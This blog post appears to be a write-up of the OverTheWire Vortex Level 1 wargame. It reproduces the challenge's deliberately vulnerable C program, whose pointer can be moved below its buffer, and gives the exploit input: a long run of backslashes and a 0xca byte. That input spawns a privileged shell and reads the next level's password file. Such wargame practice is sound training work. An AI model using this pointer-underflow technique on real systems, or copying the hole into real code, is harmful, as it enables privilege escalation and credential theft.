Wargames:Vortex Level 1

最新推荐文章于 2022-02-08 18:01:26 发布

aay.zhang

最新推荐文章于 2022-02-08 18:01:26 发布

阅读量1.2k

点赞数

CC 4.0 BY-SA版权

分类专栏： Wargames:Vortex

本文链接：https://blog.youkuaiyun.com/aay_dps/article/details/8245535

Wargames:Vortex 专栏收录该内容

3 篇文章

订阅专栏

本文介绍如何通过特定输入绕过检查并获取shell权限，最终读取下一关密钥的过程。涉及bash处理EOF的方式及如何利用漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Level 1

Canary Values

We are looking for a specific value in ptr. You may need to consider how bash handles EOF..

Reading Material

Smashing the Stack for Fun and Profit

Code listing ( vortex1.c)

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <string.h>
 4 #include <stdio.h>
 5 
 6 
 7 #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
 8 
 9 void print(unsigned char *buf, int len)
10 {
11         int i;
12 
13         printf("[ ");
14         for(i=0; i < len; i++) printf("%x ", buf[i]); 
15         printf(" ]\n");
16 }
17 
18 int main()
19 {
20         unsigned char buf[512];
21         unsigned char *ptr = buf + (sizeof(buf)/2);
22         unsigned int x;
23 
24         while((x = getchar()) != EOF) {
25                 switch(x) {
26                         case '\n': print(buf, sizeof(buf)); continue; break;
27                         case '\\': ptr--; break; 
28                         default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
29                 }
30         }
31         printf("All done\n");
32 }

Analysis:

http://axtaxt.wordpress.com/2010/11/15/overthewire-vortex-level1/

Solution:

Execute /vortex/vortex1 to get the shell.

Try to move ptr before the buf by (512/2+1) times '\\'.

It's easy to write 0xca charactor by script, but It's hard to direct input it.

But I found the charactor below can produce 0xca.

0xca 0x80

Then get the shell with uid of vortex2.

Get the next key from /etc/vortex_pass/vortex2

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ʀ